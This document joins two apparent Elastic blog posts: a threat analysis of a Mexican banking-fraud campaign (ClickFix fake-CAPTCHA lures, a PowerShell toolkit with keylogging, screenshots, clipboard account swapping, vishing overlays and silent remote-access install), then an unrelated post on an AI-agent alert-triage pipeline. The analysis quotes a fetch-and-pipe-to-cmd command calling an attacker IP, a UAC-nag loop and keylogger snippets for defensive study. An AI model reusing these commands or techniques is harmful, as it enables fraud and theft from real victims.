Key takeaways

• REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines
• SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation
• SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services
• Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic
• The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling

How Elastic Security Labs discovered REF6045

On June 18, 2026, Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory at http://68.211.161[.]46/files/. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, zkt.zip, containing the operation's full web root before it was removed.

At the web root of http://68.211.161[.]46/, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches validation.txt from the same web server and pipes it directly into cmd.exe, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at https://ww.ssinvestigaciones[.]com/login3.php.

Because navigator.clipboard.writeText() requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (http://68.211.161[.]46/) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for validation.txt.

The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each /files open directory.

SCMBANKER's execution chain

The initial infection chain described below uses the monteviral2026.duckdns[.]org ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.

Below is an example command line:

cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)

Decoy strings "CIoudfIare" with capital-I homoglyphs, and the "Google Verificación Segura" version text are reproduced verbatim.

Despite the .txt extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.

Fake update smokescreen

The batch script immediately launches Microsoft Edge in kiosk mode pointing to fakeupdate[.]net, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.

start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen

UAC consent fatigue loop

Next, the malware checks if it is running as admin via net session. If it is not elevated, it shows a social-engineered message "Windows: Se requieren permisos de administrador para actualizar su sistema..." (Administrator permissions are required to update your system…), and relaunches itself with -Verb RunAs every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.

:check
net session >nul 2>&1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 >nul
goto check

Cursor trap

Once elevated, an inline PowerShell P/Invoke call to user32.dll!ClipCursor confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.

Downloading the SCMBANKER toolkit via bitsadmin

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\.

SCMBANKER's persistence: registry Run key and startup folder

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon, plus a one-shot infection marker:

• Run key: HKCU\...\Run, value "run", runs hidden PowerShell launching run.vbs.
• Startup folder: run.vbs dropped to three path variants (%APPDATA%, %USERPROFILE%\AppData\Roaming, and the legacy XP %USERPROFILE%\Start Menu).
• RunOnce timestamp: value "id" writes %date% %time% to C:\Users\Public\id.txt once on next logon, then self-deletes.

Forcing a reboot to trigger persistence

The script sends an F11 keypress to exit fullscreen, followed by a Ctrl+W keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the shutdown /r /t 02 command and switches. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (run.vbs).

The SCMBANKER toolkit

run.vbs: SCMBANKER's master launcher

The VBScript (run.vbs) is the master launcher. It uses WScript.Shell.Run with a hidden window style and Invoke-Expression to start the toolkit's modules in parallel:

run.vbs launches the following modules:

Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.

C2 beacon and victim management

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php:

The following tables represent this request data and their associated fields:

The C2 response contains two operator-controlled fields.

The data from the comentario field is saved to comentario.txt and stores the operator’s label or notes for the victim.

The data from the comando field is saved to comando.txt. Other modules poll that file for operator instructions:

• avs.ps1 handles MSI URLs,
• edifhjwe.ps1 handles ZIP update packages
• correr.ps1 handles PowerShell-prefixed execution requests.

The following image shows the server response parsing logic.

Banking activity monitor

The primary banking activity monitor is a PowerShell script (jujuzkt.ps1), but it also has optional active branches:

• URL injection when a configured target has a redirect URL, and
• a commented-out keylogger rotator path via rotor.ps1.

After a short startup delay, invoked by ini.ps1, the banking monitor script refreshes three configuration files every five minutes.

Once running, the banking activity monitor checks all visible window titles every second. A match (full list here) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to https://negratomasa2026[.]online/dashboard2/avisos2.php in the following format:

mensaje = "<window title>
Detected C0incidence: '<keyword>'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: <hostname>
Cliente desde: <id>
Client ID: <clientId>
IP: <public_ip>
Navegador: <process_name>
<current timestamp>"
clientId = <clientId>

A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The rotor scripts act as short-lived wrappers: they copy a target script into %TEMP% under Windows-like process names, execute the copy, and repeat for a set period. In this case, rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to https://negratomasa2026[.]online/dashboard2/imagenes.php.

SCMBANKER's keylogging module

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1. While the banking monitor path launches rotor1.ps1 for screenshots, the presence of rotor.ps1 and key.ps1 shows an additional keylogging capability in the toolkit. rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1.

This PowerShell script (key.ps1) fetches Telegram bot credentials from https://negratomasa2026[.]online/a/telekeylogger.txt via Invoke-Expression, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.

The vishing engine: turning infections into live phone scams

The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. rotor2.ps1 applies the rotator pattern to mensaje1.ps1, keeping the dispatcher alive under changing Windows-like filenames.

When mensaje1.ps1 is launched, every 10 seconds it fetches https://negratomasa2026[.]online/b/<redacted>.txt, where each line has the format <IP>*<URL>, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.

The operator can choose between two overlay behaviors.

• mensaje.ps1 creates a borderless, topmost WebBrowser window, confines the mouse to the form, and uses a 200 ms timer to bring the overlay back to the foreground if the victim clicks away.
• mensajeoff.ps1 uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL in ipsabloquearconiframe.txt ends with ?off.

The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, http://68.211.161[.]46/driver.html?off, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.

Active browser redirects to phishing pages

Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. remo.ps1 polls https://negratomasa2026[.]online/b/<redacted>.txt every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, jujuzkt2.ps1.

jujuzkt2.ps1 watches window titles against https://negratomasa2026[.]online/b/urlsscams.txt (archived list here) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (Ctrl+L, Ctrl+V, and Enter), then pauses before continuing.

Many urlsscams.txt entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.

An observed redirect destination, https://bancaporinternetbbmx[.]online, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.

Clipboard and transfer manipulation

The clipboard modules focus on payment redirection rather than credential theft.

• clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from https://negratomasa2026[.]online/b/clabes.txt
• clip2.ps1 applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from https://negratomasa2026[.]online/b/tarjetas.txt

How does the operator get hands-on access to a victim's machine?

SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.

Deployment is operator-triggered and runs through three scripts. The first script (avs.ps1) polls comando.txt every 120 seconds, and when the operator pushes an .msi URL it downloads the installer to C:\Users\Public\ and launches instaler.ps1. This second script ( instaler.ps1) exits if the 99.kut guard file already exists so the RAT installs only once, relaunches itself with -Verb RunAs until it gets admin, then installs silently with msiexec /i "hosts.msi" /quiet /norestart. On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.

The third script(remoto.ps1) waits 120 seconds, then imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID 46053.045416157).

It also deletes the UninstallString at HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9} so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.

The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the driver.html?off vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.

SCMBANKER's self-update mechanism

SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. edifhjwe.ps1 polls C:\Users\Public\comando.txt (C2 command written by cliente.ps1) every 40 seconds and treats a ZIP URL as an update instruction.

When triggered, edifhjwe.ps1 downloads the ZIP to %TEMP%\Agent_temp.zip, wipes most of C:\Users\Public\, and extracts the new toolkit into place. It preserves a small set of state files, including comando.txt, comentario.txt, id.txt, agent.txt, and 99.kut, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.

After extraction, the updater writes BOT ACTUALIZADO to comando.txt as a completion flag, kills running PowerShell module processes by script name, and relaunches run.vbs.

Is the REF6045 malware written by AI?

The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.

The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (rotor2.ps1 and key.ps1), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:

key.ps1 has a self-documenting obfuscation; Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:

$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx

Every script opens with heavy banner-comment dividers (INTERVALOS DE TIEMPO, DICCIONARIOS Y VARIABLES, FUNCIONES, INICIO, LOOP PRINCIPAL). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.

Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.

As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.

REF6045's infrastructure and OPSEC failures

The depth of this analysis was made possible by poor server hygiene across the operation. The file server at http://68.211.161[.]46/files/ had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted zkt.zip, which yielded the entire operation in a single archive.

The C2 also exposed an unauthenticated file editor at /b/editor.php, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.

The related hosts listed in Discovery reused the same validation.txt delivery pattern while hosting overlapping PowerShell toolsets under /files. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.

Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.

Why REF6045 matters despite its crude execution

REF6045 is not a sophisticated operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.

That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.

Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.

REF6045 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Privilege Escalation
• Stealth
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration
• Impact

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing: Spearphishing Link
• User Execution: Malicious Link
• Command and Scripting Interpreter: Windows Command Shell
• Command and Scripting Interpreter: PowerShell
• Ingress Tool Transfer
• BITS Jobs
• Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
• Masquerading: Match Legitimate Name or Location
• Hide Artifacts: Hidden Files and Directories
• Modify Registry
• System Information Discovery
• System Network Configuration Discovery
• Application Window Discovery
• Input Capture: Keylogging
• Screen Capture
• Clipboard Data
• Remote Access Software
• Application Layer Protocol: Web Protocols
• Web Service
• Exfiltration Over C2 Channel
• System Shutdown/Reboot
• Financial Theft

How to detect and prevent REF6045

Prevention rules for detecting SCMBANKER

• Suspicious PowerShell Execution via Windows Scripts
• DNS Query to Suspicious Top Level Domain
• Suspicious Bitsadmin Activity
• Suspicious Windows Script Interpreter Child Process
• Execution from Unusual Directory
• External IP Address Discovery via a Trusted Program
• Suspicious String Value Written to Registry Run Key
• Suspicious Command Execution via Windows Run
• Curl HTTP Fetch Piped to Cmd or Node via Command Shell

Observations

The following observables were discussed in this research.

Elastic's InfoSec team built an agentic SOC that triages every alert before an analyst opens it. A 30-minute manual investigation now finishes in under 3 minutes: deterministic ES|QL queries close obvious false positives at zero token cost, specialized AI agents investigate the rest across endpoint, cloud, and SaaS domains, and a Final Review agent writes the verdict to a Kibana case. The whole pipeline runs on Elastic's native stack (Workflows, Agent Builder, the Elastic Inference Service, and Kibana Cases) with no third-party orchestrator, and inference routed only to providers documented with zero data retention.

AI-assisted attacks have compressed the timeline from initial access to exfiltration from days to hours, and traditional manual alert triage cannot keep pace. Hiring more analysts does not scale with alert volume. The Agentic SOC pattern fixes this gap: automate the investigation work that does not require human judgment so analysts can focus on the alerts that do.

Note that we use a workflow as our Agentic SOC orchestration layer instead of an Agent. We chose to use a workflow for orchestration instead of an Agent because of the scale we are operating at. A workflow is deterministic, fast, and does not consume tokens. When you are triaging tens of thousands of alerts per month, this can make a huge difference in costs and performance.

For a security team processing sensitive alert data, the inference layer's data handling matters. The Elastic Inference Service routes requests to trusted third-party model providers that operate with zero data retention and do not use inputs to train models. Per-model data retention and training-data status are documented on the EIS supported-models page so customers can verify the status of the specific model their pipeline uses. For airgapped or highly sensitive environments, the same pipeline can run against a model hosted on your own infrastructure.

At Elastic, our InfoSec team operates as "Customer Zero." We run the newest versions of Elastic Security in our production environment, often before they are released publicly. Our fleet spans thousands of laptops, servers, and cloud workloads across a globally distributed workforce. We are the first and most demanding user of every feature we ship, including the Workflows and Agent Builder platforms.

Our Agentic SOC journey started with a single Agent Builder triage agent in Elastic Security 9.2. It handled workstation alerts well, where the investigation pattern is consistent, but we found that SaaS provider logs and Higher-Order threshold alerts required a more specialized methodology. That gap drove our move to domain-specific agents.

Alert triage with Workflows and ES|QL: closing alerts without AI

The principle behind this first step is simple: any check that can be resolved by a query should be a query, not an LLM call. ES|QL queries are deterministic, auditable, fast, and cost nothing in tokens. An LLM call is non-deterministic, slower, more expensive, and introduces failure modes (hallucinated facts, prompt injection, inconsistent reasoning across runs) that a query does not have. Most false-positive patterns in a mature SOC are well understood and can be expressed in code, so spending tokens to reason about them is a wasted cost. The LLM is the right tool for the alerts where the data is genuinely ambiguous, not for the ones a query can close cleanly.

This builds on the approach we described in our earlier automated SIEM investigation post using Tines, where many of these same triage checks ran as Tines stories. Bringing them into Elastic Workflows keeps the full pipeline inside Kibana.

Detection rules in Kibana support a new workflow action. When you configure this on a rule, every alert the rule generates is automatically sent to the designated workflow with no manual intervention. Our orchestration workflow is the entry point for the entire pipeline. Each workflow has a trigger configuration that tells it how it is expected to be called. To use workflows with alerts, the trigger configuration is straightforward:

triggers:
  - type: alert

Our detection engineers tag rules with triage categories (Triage: Workstation, Triage: PMFA, Triage: Asset, Triage: All) that control which checks run. A workstation rule runs device and user identity checks. An infrastructure rule runs broader asset and CI/CD checks. This tagging is how you express "what does a false positive look like for this rule" at authoring time, and the workflow enforces it automatically. The rule's tags appear on every alert it generates in the kibana.alert.rule.tags field.

Our workflow groups triage checks by alert type. For alerts from IP-based sources (Okta, AWS, Azure, GCP, GitHub, and similar), the workflow runs up to 16 ES|QL queries across our asset inventory, fleet data, and SaaS audit logs to determine whether the source IP belongs to known corporate infrastructure. Here is one example, checking whether the source IP has an active low-risk Okta session that indicates phishing-resistant MFA was used from this IP:

- name: ip_okta_consolidated
  type: elasticsearch.esql.query
  with:
    query: |
      FROM logs-okta*
      | WHERE source.ip == "{{ event.alerts[0].source.ip }}"
        AND @timestamp > NOW() - 24h
        AND event.action == "policy.evaluate_sign_on"
        AND okta.debug_context.debug_data.risk_level == "LOW"
      | KEEP @timestamp, source.ip, user.email, event.action
      | LIMIT 1

If any query returns a result (for example, the source IP matches a successful low-risk Okta login), the workflow closes the alert immediately and adds the workflow tag Closed: Okta PMFA IP:

- name: close_alert_okta
  type: kibana.request
  with:
    method: POST
    path: "/s/{{ consts.space_id }}/api/detection_engine/signals/status"
    body:
      signal_ids:
        - "{{ event.alerts[0].kibana.alert.uuid }}"
      status: closed

No tokens used. No case created. The alert is closed.

ES|QL enrichment: building the shared alert context every agent reads

Alerts that survive the triage step go on to the enrichment portion of the workflow. This step gathers all the supporting information needed to provide context about the activity in order to accurately triage an alert. Any query that an analyst would run to investigate an alert should be added to the workflow. Our workflow queries more than 20 data sources using the values from the alert's ECS fields:

• User and host names checked against Entity Risk scoring.
• User Okta login locations and devices from the last 7 days.
• Asset Inventory information for a complete profile of the users involved.
  • User asset inventory: work role, geographic location, assigned workstations.
  • For workstation alerts, the asset inventory finds the owner, then pulls that user's profile.
• Cloud account ownership.
  • All entity information for any service account or cloud asset in the alert.
• Source IP activity across AWS, Azure, GCP, Google Workspace, Office 365, Salesforce, and GitHub.
• List of all alerts for the same user, workstation, and source.ip in the last 72 hours.
• Specialized enrichment tailored to the alerts datasource to assist the specialized triage agents.
  • Any context we can provide to the specialized agents via ESQL helps reduce the number of LLM calls made by the agents, which can dramatically reduce overall costs.
• Recent cases containing the same observables as the alert
  • Case outcome, alert names, and summary; flag if the case was marked false positive with the same alert.

The workflow assembles the results into a note for the Initial Triage agent's prompt; if a case is later opened, the same note is added as one of the first comments. Every downstream agent reads this note rather than re-running the same queries.

The Initial Triage agent: automated alert triage in under a minute

The Initial Triage agent is the first agent in the pipeline, and its output determines the workflow path. The primary additional source we provide this agent is the Elastic Security Labs knowledge base, which lets it compare the alert against every published Elastic article on threat actor techniques and malware behavior. The agent’s job is to do a structured assessment of the alert. The first line of its response must follow a specific format, and the workflow uses a substring check to parse it. The Verdict can only be True Positive or False Positive, the Assessment can only be malicious, suspicious, unknown or benign, and the Confidence can only be high or low.

## Verdict: True Positive | Assessment: suspicious | Confidence: high
**Reason:** One-line explanation.
**Summary:** 
Short report about the alert with a max size of 3000 characters.

If the verdict is False Positive and the confidence is high, the workflow adds a timeline note to the alert and closes it. The whole path, from alert trigger through enrichment to the Initial Triage close, typically completes within a minute at a token cost of around 50k tokens. For an alert that would have taken an analyst 15 minutes or more to investigate manually, that is a significant reduction in both cost and response time.

If the verdict is anything other than a high-confidence false positive, the workflow moves to the case path.

The Initial Triage agent is intentionally narrow in scope to increase speed and reduce token usage. The initial triage agent only uses an average of 50k tokens per use; a general-purpose agent can consume 500k or more tokens per use. If your Agentic SOC is triaging 10,000 alerts per month, this is a huge cost savings when your initial triage agent can close even 5,000 of those alerts. This limited scope also keeps the agent fast, predictable, and affordable.

Opening a Kibana case and dispatching the Specialized agents

When the workflow does not close the alert, it opens a new case in Kibana Cases, our SOC's case management system, and attaches the alert and enrichment context to the case. Every alert that needs deeper investigation gets its own case, which becomes the shared workspace for everything that happens next. The workflow attaches the alert as the first artifact, then adds the full enrichment as a comment. The workflow also adds the detection rule investigation guide to the case as a separate comment to help guide the following agents. Every downstream Specialized agent writes its findings to the same case as a comment, and our analysts manage, comment on, link, and resolve those cases in the same view they already use for the rest of our incident response work. The enrichment is already there when the Specialized agents run; they do not have to re-derive it.

Routing to the Specialized agents uses ECS fields from the alert: agent.type and host.os.type for endpoint alerts, and event.dataset for cloud and SaaS alerts. Only the relevant agents are run. A macOS endpoint alert triggers the macOS Forensics agent, not the GCP or Azure agents. An AWS CloudTrail alert triggers the AWS agent and the Cloud Forensics agent, not the endpoint agents. This reduces unnecessary token usage.

Each Specialized agent has a specific investigation methodology written directly into its system prompt. This is different from using a broad agent with many skills. A broad agent, which is excellent for analyst-led chat sessions where a human can steer it, can load the needed skills to investigate alerts depending on what it thinks it needs at that time. For automation, that runtime decision-making and skill loading adds costs from LLM calls and produces less consistent results.

We tested this trade-off in detail; the companion post Part 2: choosing the right agent architecture for a 5× cost reduction. The short version: when an agent runs in automation, the dominant cost driver is the number of LLM calls it makes, because each call carries the full conversation history with it. It is a little counterintuitive, but sometimes using a longer system prompt that tells the agent exactly what to do reduces total cost by eliminating the LLM calls the agent would otherwise spend deciding what to do next. That is why every agent in our pipeline has a precise, methodology-rich prompt rather than a thin one with skill delegation.

MacOS Forensics agent: an example investigation

The agent prompt frames the agent's role precisely: it is a macOS forensic examiner whose job is to document what happened, not to decide whether the activity is malicious. The instructions are explicit and repeated: the agent must not include any verdict, assessment, or judgment (benign, malicious, suspicious, true positive, false positive). That call belongs to the Final Review agent later in the pipeline. To support its investigation, the agent has a tight tool set: ES|QL queries against endpoint events, a dedicated endpoint.process.entity_id tool for pulling all related network and file events for a given process, an alerts lookup for cases where process.entity_id is missing, and security.security_labs_search, which gives it access to the Elastic Security Labs knowledge base. The Security Labs tool lets the agent check command lines, hashes, or file paths against every published Elastic article on threat actor techniques and malware behavior, so it can flag known malicious indicators directly rather than reasoning about them from scratch.

Here is a condensed view of the macOS forensics investigation workflow from the agent's instructions. The full prompt includes example ES|QL queries and lists of fields for the agent to keep.

You are a forensic examiner specializing in **MacOS** endpoint forensics. Your job is to document **what happened**, not to judge whether it is malicious or benign. You receive an alert plus pre-enriched context (including host and owner when available). The workflow has already run ESQL queries to pre-gather MacOS endpoint context (recent process and file events on this host). This pre-gathered data is included in your message. Perform a focused deep-dive using process tree analysis and return factual findings.

Constraints:
- Never pull "full documents" when a tiny field set is enough. Always **KEEP** only required fields and use a small **LIMIT**.
- You have **120 seconds** total. Optimize for speed and reliability.
- Do NOT include any verdict, assessment, or judgment (benign/malicious/suspicious/true positive/false positive). Your report is purely factual.
- the process.entity_id field from the alert is unique to the process that triggered the alert, use this field for finding related events. 
- All MacOS endpoint data is located in the logs-endpoint.* index and the SIEM alerts are in the .alerts-security.alerts-* index. Do not use any other index

Investigation Steps:

1. Process tree: query endpoint.process_entity_id with the alerting process's entity_id, then extract process.Ext.ancestry to find parent and grandparent processes.
2. Ancestry trace: query each non-system parent's entity_id, up to 2 hops. Stop tracing at well-known high-event processes (launchd, WindowServer, kernel_task, loginwindow, node, Cursor, Code Helper, Electron, python, Terminal, iTerm2, zed). They add no forensic value and waste the query budget.
3. Command line analysis: look for script abuse (bash, zsh, python, osascript), execution from /tmp or /var/folders, persistence via LaunchAgents/LaunchDaemons.
4. File and network: note file.path under /Applications, ~/Library, or /usr/local; unusual outbound connections.

Output: process tree ASCII art, 2-3 key observations, chronological timeline. Note any network connections or files created. Include process and user names, the entity_id fields are unique strings and not descriptive for users.

The "no verdict" constraint is intentional. The Specialized agents are fact-finders. Their output is purely what happened. The assessment of whether those findings are malicious, suspicious, or benign belongs to the Final Review agent. Keeping facts and verdict in separate agents prevents the interpretation in one domain's findings from biasing the final call.

Every Specialized agent writes its findings to the case as a separate comment. The case accumulates a structured audit trail: enrichment, the Initial Triage assessment, and one comment per Specialized agent that ran.

The Final Review agent: the final alert triage checkpoint

The Final Review agent is the synthesis agent. It has only two built-in tools: platform.core.cases and security.security_labs_search. It reads the case, including all comments and the attached alerts, compares that information to the Elastic Security Labs knowledge base, and writes the final analyst-facing report using all of the available information.

The constraints are tight by design. The Final Review agent does not query for additional data; it cannot look up anything that is not already in the case. This forces the workflow to ensure all relevant data is in the case before the Final Review agent runs, and it ensures its output is grounded entirely in the evidence already assembled.

The report begins with a required header that the workflow parses the same as the Initial Triage agent:

## Verdict: True Positive | Assessment: malicious | Confidence: high
**Summary:** Unauthorized IAM role creation from external IP with no
matching Okta session or corporate asset context.

After the verdict header, the Final Review agent produces a one-paragraph summary of the findings followed by the detailed report. The detailed report includes:

• A list of all entities involved and a Cross Entity Behavior Analytics (CEBA) report that maps relationships between them (user, endpoint, source IP, cloud account).
• All recent alerts from those entities.
• A numbered list of recommended actions for the analyst.
• A chronological timeline of events from the alert and the Specialized agents' findings.

If the Final Review verdict is False Positive with high confidence, the workflow closes the case and the alert. If the Final Review verdict is True Positive with high confidence, we can have the workflow increase the case severity and send a message in Slack or PagerDuty to the analysts depending on the criticality of the alert. The workflow then updates the case summary with the verdict and summary so the analyst sees the main findings and recommended actions at the top of the case without having to scroll through the full comment thread first.

What the analyst sees after automated alert triage

Instead of starting from scratch with an alert, the analyst finds a fully investigated case already assembled. Most of the queries they would have done during the investigation are already complete. The Kibana case contains:

• The alert that triggered the case.
• The full enrichment note: source IP activity across all relevant data sources, user profile and Okta stats, workstation or cloud account context, and correlated alerts from the last 72 hours.
• One comment per Specialized agent that ran, each with a focused forensic report from the relevant domain specialist.
• The Final Review report in the case description, with a True Positive / False Positive assessment, recommended next actions, CEBA relationship analysis, and event timeline.

This typically completes within a minute of the alert being created. An analyst reviewing the case can quickly decide whether to act on it, close it, or escalate.

How to build an alert triage pipeline in your environment

The architecture is a workflow and a collection of agents, but the underlying pattern is straightforward. Here is the recipe at a high level:

1. Tag your detection rules. Define what a false positive looks like for each rule type. Triage: Workstation means "close if Fleet or Jamf confirms this is a managed corporate device." Triage: Asset means "run the full infrastructure inventory check." Detection engineers own the tags; the workflow enforces them. See our earlier post on automated SIEM investigations for additional information.

2. Build the orchestration workflow. The workflow is the backbone of the pipeline:

   • Receives every alert via the workflow action.
   • Runs deterministic triage checks to close what it can.
   • Enriches the rest with ES|QL across your relevant data sources.
   • Routes to the right agents and opens cases.
   • Handles closes when the Initial Triage or Final Review agent returns a high-confidence false positive.

   For each alert type, decide which data sources contain useful context and build ES|QL steps for each. All ES|QL queries in the workflow should use KEEP statements to keep only the needed fields in the output to prevent overwhelming the agents.

   The workflow can be large and complex; we recommend using an AI Coding assistant such as Claude or Codex to help create and edit the workflow.

3. Build a narrow Initial Triage agent. It should receive the enrichment and make a single structured verdict. Give it a small tool set for gap-filling and a strict output format the workflow can parse. The narrower the scope, the more predictable the token cost. One important detail: do not pass the full alert document to the agent. Raw alert documents contain many fields that are not useful for triage and will inflate your token count. Instead, use an ES|QL KEEP statement in the workflow to extract the fields that matter (rule name, event action, process command line, source IP, user, host, and similar) along with the alert ID. If the agent needs additional fields, it can retrieve the full document using the alert ID.

4. Build Specialized agents for your highest-volume domains. Write the investigation methodology directly into the system prompt rather than relying on skill delegation. A step-by-step methodology produces consistent, reproducible output. Start with the domains that generate the most alerts in your environment.

